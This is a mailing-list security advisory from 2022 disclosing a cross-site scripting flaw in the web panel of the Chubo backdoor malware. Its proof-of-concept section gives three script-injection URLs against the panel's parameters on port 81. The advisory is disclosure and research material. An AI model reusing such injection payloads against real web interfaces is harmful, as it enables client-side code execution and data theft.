full-disclosure - [FD] Backdoor.Win32.Chubo.c / Cross Site Scripting (XSS)

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Message-ID: <CAAHK0WR12JJVJbyrEwOwhtftVxjgusOmOEqaa4qS_AHLBFfhKQ@mail.gmail.com>
Date: Sat, 26 Mar 2022 21:34:46 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Chubo.c / Cross Site Scripting (XSS)

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/c16b04a9879896ef453a6deb13528087_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Chubo.c
Vulnerability: Cross Site Scripting (XSS)
Family: Chubo
Type: Web Panel
MD5: c16b04a9879896ef453a6deb13528087
Vuln ID: MVID-2022-0528
Disclosure: 03/26/2022
Description: The malware listens on TCP port 81 and 8080. There is a HTML
web-panel that exposes the entire system and creates HTML links to run
commands made available by the backdoor. Chubo panel users who visit a
third-party attacker website or click an infected link, can trigger
arbitrary client side JS code execution in the security context of the
current user. This can result in data theft or GEO location disclosure of
the user accessing the Chubo web interface.

Exploit/PoC:
1)
http://x.x.x.x:81/?DIR=%3C/h2%3E%3Cscript%3Ealert(%22malvuln%22)%3C/script%3E%3C!--
2)
http://x.x.x.x:81/?BRW=%3C/h2%3E%3Cscript%3Ealert(%22malvuln%22)%3C/script%3E%3C!--
3)
http://x.x.x.x:81/?TGT=%3C/h2%3E%3Cscript%3Ealert(%22malvuln%22)%3C/script%3E%3C!--

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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